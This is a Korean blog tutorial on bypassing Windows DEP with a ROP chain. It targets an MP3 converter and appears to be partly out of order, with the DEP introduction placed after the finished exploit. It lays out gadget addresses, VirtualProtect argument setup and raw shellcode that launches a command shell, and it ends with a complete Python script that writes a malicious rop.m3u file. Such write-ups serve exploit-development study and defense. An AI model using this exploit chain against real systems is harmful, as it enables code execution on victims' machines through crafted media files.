이 가젯은 현재 스택주소를 스택에 넣은 뒤 ESI 에 POP 한다. 이후 뒷부분은 크게 신경쓰지 않아도 된다.


단, 이 부분이 ESI 를 변형시킨다면 해당 가젯은 쓰면 안된다. 필요한 값이 변경되기 때문이다. 이는 모든 가젯에


해당된다. 가젯을 사용할 때에는 필요한 명령 외에도 여러 명령이 붙어 있을 수도 있다. 이러한 명령들이 기존의


필요한 레지스터의 값들을 변경시키지 않는 가젯을 잘 선별해야 한다. 이 스택 포인터는 차후에 VirtualProtect


주소가 들어있는 스택주소를 가리키는데 쓰이기도 하고, VirtualProtect 의 인자값을 만들어 줄 때에도 쓰인다. 그러므


로 이 주소값은 최소 2개 이상의 레지스터에 저장해 두면 더 수월하게 ROP 를 수행할 수 있다. 물론 하나로도 가능하


겠지만, 그만큼 더 많은 가젯이 필요하다. 당연한 말이지만 payload 가 복잡해서 좋을 것은 없다. 간단하게 가자.


이와 동일한 방식으로 찾아낸 가젯들을 이용해서 ESP 에 저장된 현재 스택주소를 EAX 와 EDI 에 저장했다.


중간중간의 padding 은 이전 가젯의 POP 으로 인해 ESP값이 증가하는 것을 맞춰주기 위함이므로 아무 값이나 


넣어두면 된다. 즉, 하나의 가젯에서는 PUSH 와 POP 의 쌍이 맞아야 하며, POP 이 많다면 그 아래에 padding 


값을 넣어주어야 한다.


# ROP 1 

# [ esp -> eax,edi ]

rop0 = struct.pack('<L',0x1002e892

            # PUSH ESP 

            # AND AL,10 

            # POP ESI 

            # MOV DWORD PTR DS:[EDX],ECX 

            # RETN   

rop0 += struct.pack('<L',0x1002627d

            # MOV EAX,ESI 

            # POP EDI 

            # POP ESI 

            # RETN 

rop0 += padding # for pop edi

rop0 += padding # for pop esi

rop0 += struct.pack('<L',0x100128f7

            # PUSH EAX 

            # POP ED

            # POP ESI 

            # POP EBX 

            # RETN

rop0 += padding # for pop esi

rop0 += padding # for pop ebx

rop_jump = struct.pack('<L',0x10015340

            # ADD ESP,18 

            # RETN / jump rop2 for param1 


위의 ROP 체인에서 필요한 명령어만 추리면 아래와 같다.



 * ROP1 for save stack pointer

PUSH ESP         // 현재 스택주소를 PUSH

POP ESI            // 스택주소를 ESI 에 저장 

MOV EAX, ESI   // ESI 를 EAX에 저장       [ esp -> eax ]

PUSH EAX         // EAX를 PUSH

POP EDI            // 스택주소를 EDI 에 저장 [ esp -> edi ]

ADD ESP,18       // ROP2 로 점프



여기까지 실행하면 아래와 같이 원하는 결과가 수행 되었음을 확인할 수 있다.






현재까지 payload 는 아래와 같다.

Low Address

 1

 AAAAAAAAA....

 buffer = "A"*26104

 2

 Stack Pivot

 eip = struct.pack('<L', 0x100102dc)  

 3

 ROP1 for Save Stack Pointer

 rop0 = struct.pack('<L',0x1002e892) 
 rop0 += struct.pack('<L',0x1002627d)
 rop0 += padding
 rop0 += padding
 rop0 += struct.pack('<L',0x100128f7)
 rop0 += padding
 rop0 += padding
 rop_jump = struct.pack('<L',0x10015340)

 4

 VirtualProtect() Addr + Parameters

 VirtualProtect()주소, 실행 후 리턴값 및 함수의 인자값4개

 5

 ROP2 for RET(Shellcode)

 RET 값(쉘코드 주소) 생성 및 입력

 6

 ROP3 for VirtualProtect Parameter1 

 Parameter1 값 생성 및 입력 

 7

 ROP4 for VirtualProtect Parameter2

 Parameter2 값 생성 및 입력

 8

 ROP5 for VirtualProtect Parameter3

 Parameter3 값 생성 및 입력

 9

 Jump to VirtualProtect()

 4 로 돌아감 

 10

 Nop + Shellcode 

 4에서 VirtualProtect() 실행 후 돌아올 주소

 (쉘코드)

High Address



3) VirtualProtect() + Parameters


 VirtualProtect() 함수의 주소와 함수 실행 후 리턴주소, 그리고 함수의 인자값으로 사용할 4개의 인자를 넣어주면 된


 다. 함수 주소는 kernel32.dll base 주소 + 1ad4 이며, 실습환경에서의 주소값은 0x7c801ad4 였다.(PC마다 조금씩 


 다를 수 있다. 실제로 이 주소는 기타 다른 문서의 주소값과 다르다. 아마 정품이 아닌 패치판이라 그런....듯 -_-; )


 파라미터값은 어차피 나중에 ROP 를 통해 동적으로 만들어 줄 것이므로 아무 값이나 넣으면 된다. 단, 마지막 인자값


 의 경우에는 쓰기가 가능한 주소를 넣어 주어야 한다. 다시 한번 VirtualProtect 함수의 인자값을 확인해 보자.


* VirtualProtect()   

 BOOL WINAPI VirtualProtect(

   _In_   LPVOID lpAddress,

   _In_   SIZE_T dwSize,

   _In_   DWORD flNewProtect,

   _Out_  PDWORD lpflOldProtect

 );

 


* Stack 구성

rop_virtual = struct.pack('<L',0x7C801AD4)    # VirtualProtect() Address

rop_ret = struct.pack('<L',0x01010101)

rop_lpaddr = struct.pack('<L',0x42424242)

rop_size = struct.pack('<L',0x43434343)

rop_newprotect = struct.pack('<L',0x44444444)

rop_writable = struct.pack('<L',0x10035005)






현재까지 payload 는 아래와 같다.

Low Address

 1

 AAAAAAAAA....

 buffer = "A"*26104

 2

 Stack Pivot

 eip = struct.pack('<L', 0x100102dc)  

 3

 ROP1 for Save Stack Pointer

 rop0 = struct.pack('<L',0x1002e892) 
 rop0 += struct.pack('<L',0x1002627d)
 rop0 += padding
 rop0 += padding
 rop0 += struct.pack('<L',0x100128f7)
 rop0 += padding
 rop0 += padding
 rop_jump = struct.pack('<L',0x10015340)

 4

 VirtualProtect() Addr + Parameters

 rop_virtual = struct.pack('<L',0x7C801AD4)    

 rop_ret = struct.pack('<L',0x01010101)

 rop_lpaddr = struct.pack('<L',0x42424242)

 rop_size = struct.pack('<L',0x43434343)

 rop_newprotect = struct.pack('<L',0x44444444)

 rop_writable = struct.pack('<L',0x10035005)

 5

 ROP2 for RET(Shellcode)

 RET 값(쉘코드 주소) 생성 및 입력

 6

 ROP3 for VirtualProtect Parameter1 

 Parameter1 값 생성 및 입력 

 7

 ROP4 for VirtualProtect Parameter2

 Parameter2 값 생성 및 입력

 8

 ROP5 for VirtualProtect Parameter3

 Parameter3 값 생성 및 입력

 9

 Jump to VirtualProtect()

 4 로 돌아감 

 10

 Nop + Shellcode 

 4에서 VirtualProtect() 실행 후 돌아올 주소(쉘코드)

High Address



4) ROP2 for RET(Shellcode)


 ROP2는 VirtualProtect() 함수 실행 후 이어서 실행될 값인 쉘코드 주소를 만들기 위한 것이다. 미리 저장해 두었던 


 스택 포인터 값에 ADD 명령을 수행하여 쉘코드가 존재할 주소값을 만들어 줄 것이다. 가젯의 수와 Nop 의 수를 감


 안하여 Add 값을 정하면 된다. Nop 위로만 떨어지면 되기 때문에 실제 쉘코드보다 앞이기만 하면 된다.



 * ROP2

rop_param1 = struct.pack('<L',0x7631982F) # XCHG ESI,EDI # DEC ECX # RETN 4

rop_param1 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN   

rop_param1 += padding # for retn 4

rop_param1 += padding # for retn 4

rop_param1 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN   

rop_param1 += padding 

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN 

rop_param1 += struct.pack('<L',0x77D94115)  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN

rop_param1 += padding


위의 체인에서 중요한 가젯들을 살펴보자. 이 ROP를 통해서 실행하길 원하는 것은 쉘코드의 주소를 


VirtualProtect() 의 주소 바로 아래에 저장하는 것이다. ( 01010101 값이 들어있는 주소 )



rop_param1 = struct.pack('<L',0x7631982F) # XCHG ESI,EDI # DEC ECX # RETN 4 


이 가젯은 EDI 에 저장되어 있던 스택포인터 값을 ESI 에 저장한다.




rop_param1 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN  


이 가젯은 EAX에 저장되어 있던 스택 포인터의 값을 0x100 증가 시킨다. 2회 반복하여 + 0x200 이 된다.


0x200 이 더해져서 nop 의 주소를 가리키게 되며, 이 nop 후에는 쉘코드가 존재한다.


 



rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  


이 가젯은 ESI 에 저장된 스택포인터를 증가시켜서 01010101 이 저장된 주소 - 0x10 값을 만든다. -10 주소를 


만드는 이유는 값을 저장하는데 사용할 가젯이 ESI+10 이기 때문이다. 미리 10을 빼주어서 실제 값이 저장될 때


-10+10 이 되어 정확한 위치에 값을 쓰도록 하는 것이다. 조금 헷갈릴 수 있으나 직접 실행해보면 바로 알 수 


있을 것이다. 




rop_param1 += struct.pack('<L',0x77D94115)  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN 


이 가젯으로 EAX에 저장된 쉘코드 주소의 값을 [ESI+10], 즉 01010101 이 저장되어 있던 RET 주소에 쓰게 된다.


가장 중요한 개념이므로 확실히 이해하고 넘어가자. 앞으로도 이 가젯을 이용하여 파라미터값들을 쓰게 된다.







실행해보면 정확히 값을 덮어썼음을 확인할 수 있다.


Low Address

 1

 AAAAAAAAA....

 buffer = "A"*26104

 2

 Stack Pivot

 eip = struct.pack('<L', 0x100102dc)  

 3

 ROP1 for Save Stack Pointer

 rop0 = struct.pack('<L',0x1002e892) 
 rop0 += struct.pack('<L',0x1002627d)
 rop0 += padding
 rop0 += padding
 rop0 += struct.pack('<L',0x100128f7)
 rop0 += padding
 rop0 += padding
 rop_jump = struct.pack('<L',0x10015340)

 4

 VirtualProtect() Addr + Parameters

 rop_virtual = struct.pack('<L',0x7C801AD4)    

 rop_ret = struct.pack('<L',0x01010101)

 rop_lpaddr = struct.pack('<L',0x42424242)

 rop_size = struct.pack('<L',0x43434343)

 rop_newprotect = struct.pack('<L',0x44444444)

 rop_writable = struct.pack('<L',0x10035005)

 5

 ROP2 for RET(Shellcode)

 rop_param1 = struct.pack('<L',0x7631982F)

 rop_param1 += struct.pack('<L',0x1002dc4c)

 rop_param1 += padding 

 rop_param1 += padding 

 rop_param1 += struct.pack('<L',0x1002dc4c)

 rop_param1 += padding 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)  

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)  

 rop_param1 += struct.pack('<L',0x77107d1d)  

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77D94115)  

 rop_param1 += padding

 6

 ROP3 for VirtualProtect Parameter1 

 Parameter1 값 생성 및 입력 

 7

 ROP4 for VirtualProtect Parameter2

 Parameter2 값 생성 및 입력

 8

 ROP5 for VirtualProtect Parameter3

 Parameter3 값 생성 및 입력

 9

 Jump to VirtualProtect()

 4 로 돌아감 

 10

 Nop + Shellcode 

 4에서 VirtualProtect() 실행 후 돌아올 주소(쉘코드)

High Address




5) ROP3 for VirtualProtect Parameter1


 위와 같은 방식으로 Parameter1 을 구성해 준다. 단, ESI 값을 4 증가시켜 스택에서 다음 인자값 주소를 가리키도록 

 

 한다. 이외에는 4)와 거의 동일하다. 첫번째 파라미터는 메모리 실행권한을 추가해 줄 주소이며, 이미 저장해둔


 EAX의 스택 포인터 값을 재활용 하면 된다. 



 * ROP3

rop_param2 = struct.pack('<L',0x76a6131e) # PUSH EAX # POP ESI # RETN

rop_param2 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN   

rop_param2 += padding

rop_param2 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param2 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param2 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param2 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param2 += struct.pack('<L',0x77D94115)  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN

rop_param2 += padding




6) ROP4 for VirtualProtect Parameter2


 역시 동일한 방식으로 진행하여 파라미터값 0x300 을 만들어서 값을 써준다. 파라미터1에서 지정해준 값부터 


 이 파라미터2 의 값의 크기만큼 실행권한을 추가해 주게 되므로, 원하는 만큼 값을 크게 주어도 상관없다.


 0x300 이면 Nop 를 포함한 쉘코드가 충분히 들어갈 크기이므로 적당히 0x300 으로 해도 된다.



 * ROP4

rop_param3 = struct.pack('<L',0x76a6131e) # PUSH EAX # POP ESI # RETN

rop_param3 += struct.pack('<L',0x100307A9) # XOR EAX, EAX

rop_param3 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN   

rop_param3 += padding

rop_param3 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN   

rop_param3 += padding

rop_param3 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN   

rop_param3 += padding

rop_param3 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param3 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param3 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param3 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param3 += struct.pack('<L',0x77D94115)  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN

rop_param3 += padding





7) ROP5 for VirtualProtect Parameter3


 위와 동일. 다만 실행 권한을 주어야 하므로 값을 0x40 이 되도록 해준다.


* ROP5

rop_param4 = struct.pack('<L',0x76a6131e) # PUSH EAX # POP ESI # RETN

rop_param4 += struct.pack('<L',0x100307A9) # XOR EAX, EAX

rop_param4 += struct.pack('<L',0x1002dc41) # ADD EAX,40 # POP EBP # RETN  

rop_param4 += padding 

rop_param4 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param4 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param4 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param4 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param4 += struct.pack('<L',0x77D94115)  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN

rop_param4 += padding



여기까지 정상적으로 수행이 되었다면 이제 VirtualProtect 의 인자값은 모두 구성이 되었다. 이제 남은 것은


VirtualProtect() 를 실행하고, 쉘코드의 주소로 점프하여 원하는 쉘코드를 실행하는 것이다.






8) Jump to VirtualProtect()


* Jump to &VirtualProtect()

rop_virtual_jump = struct.pack('<L',0x76A612F1) # SUB EAX,4 # RET

rop_virtual_jump += struct.pack('<L',0x76A612F1) # SUB EAX,4 # RET

rop_virtual_jump += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_virtual_jump += struct.pack('<L',0x73d55858) # PUSH EAX # POP ESP # POP EDI # POP ESI # RETN


스택의 특정 주소로 돌아가는 것은 POP ESP 명령을 통해 수행할 수 있으며, 이 값을 조절하기 위해 이미 저장해 둔


스택포인터 EAX를 활용한다. 즉 PUSH EAX / POP ESP / RETN 명령을 수행하면 결국 EAX에 저장되어 있던 주소로


돌아가게 될 것이다. 이 가젯에 POP 이 2번 더 들어가 있기 때문에 이 명령을 수행하기 전에 SUB EAX,4 를 통해


스택주소값을 맞춰준다. 이제 준비는 다 되었다.




9) Nop + Shellcode


 이 부분은 따로 설명하지 않겠다. 일반적인 0x90 과 쉘코드이다.


* Nop + shellcode

nops = "\x90" * 260 

shellcode ="\x55\x8b\xec\x83\xec\x44\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45\xfe"

shellcode +="\x64\x6a\x05\x8d\x45\xfc\x50\xb8\xad\x23\x86\x7c\xff\xd0\x6a\x01\xb8"

shellcode +="\xfa\xca\x81\x7c\xff\xd0"






# 최종 Payload


위에서 설명한 가젯들을 연결해 보면 아래와 같다.


Low Address

 1

 AAAAAAAAA....

 buffer = "A"*26104

 2

 Stack Pivot

 eip = struct.pack('<L', 0x100102dc)  

 3

 ROP1 for Save Stack Pointer

 rop0 = struct.pack('<L',0x1002e892) 
 rop0 += struct.pack('<L',0x1002627d)
 rop0 += padding
 rop0 += padding
 rop0 += struct.pack('<L',0x100128f7)
 rop0 += padding
 rop0 += padding
 rop_jump = struct.pack('<L',0x10015340)

 4

 VirtualProtect() Addr + Parameters

 rop_virtual = struct.pack('<L',0x7C801AD4)    

 rop_ret = struct.pack('<L',0x01010101)

 rop_lpaddr = struct.pack('<L',0x42424242)

 rop_size = struct.pack('<L',0x43434343)

 rop_newprotect = struct.pack('<L',0x44444444)

 rop_writable = struct.pack('<L',0x10035005)

 5

 ROP2 for RET(Shellcode)

 rop_param1 = struct.pack('<L',0x7631982F)

 rop_param1 += struct.pack('<L',0x1002dc4c)

 rop_param1 += padding 

 rop_param1 += padding 

 rop_param1 += struct.pack('<L',0x1002dc4c)

 rop_param1 += padding 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)  

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)  

 rop_param1 += struct.pack('<L',0x77107d1d)  

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77D94115)  

 rop_param1 += padding

 6

 ROP3 for VirtualProtect Parameter1 

 rop_param2 = struct.pack('<L',0x76a6131e) 

 rop_param2 += struct.pack('<L',0x1002dc4c)

 rop_param2 += padding

 rop_param2 += struct.pack('<L',0x77107d1d)

 rop_param2 += struct.pack('<L',0x77107d1d)

 rop_param2 += struct.pack('<L',0x77107d1d)

 rop_param2 += struct.pack('<L',0x77107d1d)

 rop_param2 += struct.pack('<L',0x77D94115)

 rop_param2 += padding

 7

 ROP4 for VirtualProtect Parameter2

 rop_param3 = struct.pack('<L',0x76a6131e) 

 rop_param3 += struct.pack('<L',0x100307A9)

 rop_param3 += struct.pack('<L',0x1002dc4c) 

 rop_param3 += padding

 rop_param3 += struct.pack('<L',0x1002dc4c)

 rop_param3 += padding

 rop_param3 += struct.pack('<L',0x1002dc4c) 

 rop_param3 += padding

 rop_param3 += struct.pack('<L',0x77107d1d)  

 rop_param3 += struct.pack('<L',0x77107d1d)

 rop_param3 += struct.pack('<L',0x77107d1d)  

 rop_param3 += struct.pack('<L',0x77107d1d)

 rop_param3 += struct.pack('<L',0x77D94115) 

 rop_param3 += padding

 8

 ROP5 for VirtualProtect Parameter3

 rop_param4 = struct.pack('<L',0x76a6131e) 

 rop_param4 += struct.pack('<L',0x100307A9)

 rop_param4 += struct.pack('<L',0x1002dc41)

 rop_param4 += padding 

 rop_param4 += struct.pack('<L',0x77107d1d)

 rop_param4 += struct.pack('<L',0x77107d1d)

 rop_param4 += struct.pack('<L',0x77107d1d)

 rop_param4 += struct.pack('<L',0x77107d1d)

 rop_param4 += struct.pack('<L',0x77D94115)

 rop_param4 += padding

 9

 Jump to VirtualProtect()

 rop_virtual_jump = struct.pack('<L',0x76A612F1) 

 rop_virtual_jump += struct.pack('<L',0x76A612F1) 

 rop_virtual_jump += struct.pack('<L',0x77107d1d)  

 rop_virtual_jump += struct.pack('<L',0x73d55858) 

 10

 Nop + Shellcode 

 nops = "\x90" * 260 

 shellcode ="\x55\x8b\xec\x83\xec\x44..."

High Address




이제 이 payload 를 파일로 만드는 코드를 작성하자.



 # rop_rm2mp3.py

import sys

import struct

s = "A"*26104 Virtualprotect = 0x7C801AD4 padding = struct.pack('<L',0x41414141) # ======= stack pivot =======# eip = struct.pack('<L', 0x100102dc) # retn eip += padding # ======== save stack pointer ========== # [ esp -> eax,edi ] rop0 = struct.pack('<L',0x1002e892

# PUSH ESP # AND AL,10 # POP ESI # MOV DWORD PTR DS:[EDX],ECX # RETN rop0 += struct.pack('<L',0x1002627d

# MOV EAX,ESI # POP EDI # POP ESI # RETN rop0 += padding # for pop edi rop0 += padding # for pop esi rop0 += struct.pack('<L',0x100128f7) # PUSH EAX # POP EDI # POP ESI # POP EBX # RETN rop0 += padding # for pop esi rop0 += padding # for pop ebx rop_jump = struct.pack('<L',0x10015340) # ADD ESP,18 # RETN / jump rop2 for param1 # ======= virtualprotect params ======== # rop_virtual = struct.pack('<L',Virtualprotect) rop_ret = struct.pack('<L',0x01010101) rop_lpaddr = struct.pack('<L',0x42424242) rop_size = struct.pack('<L',0x43434343) rop_newprotect = struct.pack('<L',0x44444444) rop_writable = struct.pack('<L',0x10035005) # ======== make param1 ====== # param1 = return address ( shellcode address ) rop_param1 = struct.pack('<L',0x7631982F) # XCHG ESI,EDI # DEC ECX # RETN 4 rop_param1 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop_param1 += padding # for retn 4 rop_param1 += padding # for retn 4 rop_param1 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop_param1 += padding rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77D94115) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop_param1 += padding # ======== make param2 ====== # param2 = lpaddress ( shellcode address ) rop_param2 = struct.pack('<L',0x76a6131e) # PUSH EAX # POP ESI # RETN rop_param2 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop_param2 += padding rop_param2 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param2 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param2 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param2 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param2 += struct.pack('<L',0x77D94115) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop_param2 += padding # ======== make param3 ====== # param3 = 0x300 rop_param3 = struct.pack('<L',0x76a6131e) # PUSH EAX # POP ESI # RETN rop_param3 += struct.pack('<L',0x100307A9) # XOR EAX, EAX rop_param3 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop_param3 += padding rop_param3 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop_param3 += padding rop_param3 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop_param3 += padding rop_param3 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param3 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param3 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param3 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param3 += struct.pack('<L',0x77D94115) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop_param3 += padding # ========= make param4 ====== # param4 = 0x40 rop_param4 = struct.pack('<L',0x76a6131e) # PUSH EAX # POP ESI # RETN rop_param4 += struct.pack('<L',0x100307A9) # XOR EAX, EAX rop_param4 += struct.pack('<L',0x1002dc41) # ADD EAX,40 # POP EBP # RETN rop_param4 += padding rop_param4 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param4 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param4 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param4 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param4 += struct.pack('<L',0x77D94115) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop_param4 += padding # ======== jump virtualprotect ======= # rop_virtual_jump = struct.pack('<L',0x76A612F1) # SUB EAX,4 # RET rop_virtual_jump += struct.pack('<L',0x76A612F1) # SUB EAX,4 # RET rop_virtual_jump += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_virtual_jump += struct.pack('<L',0x73d55858) # PUSH EAX # POP ESP # POP EDI # POP ESI # RETN # ======== payload ======== # shellcode ="\x55\x8b\xec\x83\xec\x44\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\x6a\x05\x8d\x45\xfc"

shellcode +="\x50\xb8\xad\x23\x86\x7c\xff\xd0\x6a\x01\xb8\xfa\xca\x81\x7c\xff\xd0" nops = "\x90" * 260

payload = s + eip + rop0 + rop_jump + \ rop_virtual + rop_ret + rop_lpaddr + rop_size + rop_newprotect + rop_writable + \ rop_param1 + rop_param2 + rop_param3 + rop_param4 + rop_virtual_jump + nops + shellcode

f = open('rop.m3u','w') f.write(payload) f.close()



이 코드를 실행하여 생성된 rop.m3u 파일을 넣고 실행하여 보면 DEP 를 우회하여 쉘이 실행되는 것을 확인할 수 있


다. :)








 ps. 쓰고보니 너무 기네요 . ㅎㅎ 읽느라 수고하셨습니다.

토닥토닥





오랫만에 windows 카테고리에 글을 올린다. 


이전까지 했던 bufferoverflow 는 DEP 를 고려하지 않은 기본 상태의 윈도우가 대상이었다.


이번에는 ROP를 이용하여  DEP를 우회할 수 있음을 확인해 보자. 


# DEP ( Data Execution Prevention)

  • 데이터 실행 방지(Data Execution Prevention, DEP)는 현대의 마이크로소프트 윈도 운영 체제에 포함된 보안 기능이며, 실행 방지 메모리 영역의 실행 코드에서응용 프로그램이나 서비스가 실행되지 못하게 막기 위해 고안된 것이다. 이를테면 버퍼 오버플로를 통한 코드를 저장하는 특정한 이용을 막을 수 있다. DEP는 두 가지 모드로 실행된다.:
  • CPU를 위한 하드웨어 강화 DEP: 메모리 페이지를 실행 불가능 상태로 표시한다.
  • 소프트웨어 강화 DEP: CPU가 하드웨어적으로 데이터 실행 방지를 지원하지 못하는 경우 이를 사용한다.

  DEP는 윈도 XP 서비스팩 2에 도입되었으며 윈도 XP 태블릿 PC 에디션 2005, 윈도 서버 2003 서비스팩 

 1, 도 비스타에 포함되어 있다. 나중에 나오는 운영 체제들은 이 기능을 여전히 지원하고 있다.

- 위키피디아 - 


즉, bufferoverflow 를 통한 임의의 코드 실행을 막기 위해 운영체제에 도입된 기능(물론 *nix 에도 있다) 이며,


크게 S/W DEP 와 H/W DEP 가 존재한다. 하지만 최근 CPU는 대부분 DEP를 지원하므로 일반적으로 DEP라 함은


H/W DEP 를 말한다고 생각하면 된다.




# DEP 의 종류


 종류

설명 

 OptIn

지정된 바이너리만 보호 

 OptOut

지정된 바이너리를 제외하고 모두 보호

 AlwaysOn

모든 프로세스를 보호

 AlwaysOff

모든 프로세스를 보호하지 않음 




# OS버전별 DEP 기본정책


 종류

설명 

 Windows XP SP2~, Vista SP0

OptIn

Windows VIsta SP1~

OptIn + AlwaysOn + Permanent DEP

 Windows 7

OptOut + AlwaysOn + Permanent DEP

Windows Server 2003 Sp1~

OptOut 

 Windows Server 2008~

 OptOut + AlwaysOn + Permanent DEP





# DEP가 적용된 후의 bof 공격


[ 그림1 ] DEP 설정 변경




[ 그림2 ] DEP로 인한 실행 방지



일반적인 BOF 시도시 실행권한이 없는 스택영역에서 코드실행이 시도되므로 위와 같이 DEP에 의해 차단된다. 즉 공


